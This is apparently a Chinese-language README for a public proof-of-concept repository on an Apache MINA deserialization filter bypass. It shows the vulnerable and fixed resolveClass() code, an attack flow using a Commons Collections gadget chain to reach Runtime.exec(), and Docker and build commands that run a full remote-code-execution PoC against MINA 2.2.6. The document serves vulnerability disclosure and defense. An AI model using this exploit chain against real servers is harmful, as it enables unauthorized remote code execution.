CVSS 3.1: 9.8 严重 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-502 不可信数据反序列化
报告者: Venkatraman Kumar, Securin
公告: Apache 邮件列表
Apache MINA 版本 2.1.0 至 2.1.11 和 2.2.0 至 2.2.6 在 AbstractIoBuffer.resolveClass() 中存在反序列化过滤器绕过漏洞。当 ObjectStreamClass.forClass() 返回 null 时,用于限制可反序列化 Java 类的 acceptMatchers 白名单会被完全跳过。
攻击者只要能够通过网络访问使用 ObjectSerializationCodecFactory 的 MINA 端点,即可构造绕过类过滤器的协议载荷,通过标准 Java 反序列化 gadget 链(例如 Commons Collections)实现完全远程代码执行。
这是 CVE-2026-41635 的不完整修复。原始补丁应用于 2.0.x 分支,但由于合并疏忽,从未移植到 2.1.x 或 2.2.x。
| 分支 | 受影响版本 | 修复版本 |
|---|---|---|
| 2.1.x | 2.1.0 – 2.1.11 | 2.1.12 |
| 2.2.x | 2.2.0 – 2.2.6 | 2.2.7 |
该漏洞位于 AbstractIoBuffer.resolveClass() 中,该函数负责在 Java 对象反序列化期间处理类解析。
MINA 使用自定义序列化协议,包含两种类描述符类型:
在易受攻击的代码中,acceptMatchers 过滤器仅在类型 1 分支中检查(当 forClass() 返回非 null 时)。类型 0 分支直接调用 Class.forName(),完全绕过过滤器:
// AbstractIoBuffer.java — 易受攻击 (2.2.6)
protected Class<?> resolveClass(ObjectStreamClass desc) {
Class<?> clazz = desc.forClass();
if (clazz == null) {
// BUG: 未检查 acceptMatchers — 过滤器被完全绕过
return Class.forName(name, false, classLoader);
} else {
// 过滤器仅在此处应用
for (ClassNameMatcher matcher : acceptMatchers) { ... }
}
}
2.2.7 中的修复将过滤器检查移至分支之前:
// AbstractIoBuffer.java — 已修复 (2.2.7)
protected Class<?> resolveClass(ObjectStreamClass desc) {
String className = desc.getName();
// 首先应用过滤器,无论 forClass() 结果如何
if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
throw new ClassNotFoundException("Class not in accept list " + className);
}
Class<?> clazz = desc.forClass();
// ... 后续安全解析
}
攻击者 易受攻击的 MINA 服务器
| |
| 1. 构造包含类型 0 描述符的 MINA 载荷 |
| 用于 gadget 链类 |
| |
| 2. 发送到使用 |
| ObjectSerializationCodecFactory 的端点 -->|
| |
| 3. readClassDescriptor() 读取类型 0 |
| → 委托给父类(标准 Java) |
| |
| 4. resolveClass() 发现 forClass()==null
| → 调用 Class.forName() 且无过滤器 |
| |
| 5. gadget 链被完全反序列化 |
| → readObject() 触发链 |
| → Runtime.exec() 执行 |
| |
| 远程代码执行成功 |
IoBuffer.getObject() 或 ObjectSerializationCodecFactoryaccept()(未配置过滤器的应用已可通过 CVE-2026-41635 被利用)攻击者控制序列化字节流。通过对 Serializable gadget 链类使用类型 0 类描述符(而非类型 1),反序列化图中的每个类都会绕过 acceptMatchers 过滤器,无论应用的白名单配置如何。
三个 PoC 展示了逐步升级的影响:
| PoC | 证明内容 |
|---|---|
FilterBypassPoC.java | 对基本类型、非 Serializable 类、数组的过滤器绕过 |
CraftedBypassPoC.java | 攻击者构造的类型 0 载荷绕过过滤器加载任意 Serializable 类 |
RcePoC.java | 通过过滤器绕过使用 CC6 gadget 链实现完全远程代码执行 |
不在接受列表中的类可不受限制地被反序列化:

攻击者构造包含类型 0 描述符的 MINA 协议载荷,绕过仅允许 String 的接受列表加载任意类:

CC6 变体 gadget 链(HashSet → TiedMapEntry → LazyMap → ChainedTransformer → Runtime.exec())通过过滤器绕过实现命令执行:

相同测试在修复版本上被阻止:

gadget 链被过滤器拒绝:

最快的测试方式 — 无需 JDK 或 Maven:
# 克隆此仓库
git clone https://github.com/dinosn/CVE-2026-42779.git
cd CVE-2026-42779
# 构建并运行所有 PoC
docker build -t cve-2026-42779 .
docker run --rm cve-2026-42779
# 运行单个 PoC
docker run --rm cve-2026-42779 bypass # 仅过滤器绕过
docker run --rm cve-2026-42779 crafted # 构造载荷绕过
docker run --rm cve-2026-42779 rce # 完全远程代码执行
# 进入 shell 进行探索
docker run --rm -it cve-2026-42779 shell
该镜像捆绑了易受攻击的 MINA 2.2.6 JAR、Commons Collections 3.2.2 以及所有三个预编译的 PoC。所有内容均在容器内自包含运行。
如果您更倾向于从源码构建:
# 克隆并构建易受攻击的版本
git clone https://github.com/apache/mina.git /tmp/apache-mina
cd /tmp/apache-mina
git checkout 2.2.6
mvn install -pl mina-core -DskipTests -q
# 下载 commons-collections(用于远程代码执行 PoC)
curl -sL "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" \
-o commons-collections-3.2.2.jar
# 编译 PoC
javac -cp mina-core/target/mina-core-2.2.6.jar FilterBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar RcePoC.java
# 运行过滤器绕过 PoC
java -cp .:mina-core/target/mina-core-2.2.6.jar FilterBypassPoC
# 运行构造载荷 PoC
java -cp .:mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC
# 运行完全远程代码执行 PoC
java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-cp .:mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar \
RcePoC
或者使用附带的 Makefile:
make run-all # 构建并运行所有三个 PoC
make run-rce # 仅运行远程代码执行 PoC
要求: JDK 11+ 和 Maven(用于源码构建)或 Docker(用于容器)
升级到 Apache MINA 2.1.12 或 2.2.7。
如果无法立即升级:
IoBuffer.getObject() 或 ObjectSerializationCodecFactory| 日期 | 事件 |
|---|---|
| 2026-05-01 | Apache MINA PMC 发布公告 |
| 2026-05-01 | 发布修复版本 2.1.12 和 2.2.7 |
| 2026-05-02 | 开发并测试此 PoC |
此概念验证仅用于防御性安全研究、教育和授权渗透测试。请负责任地使用,且仅针对您有权测试的系统。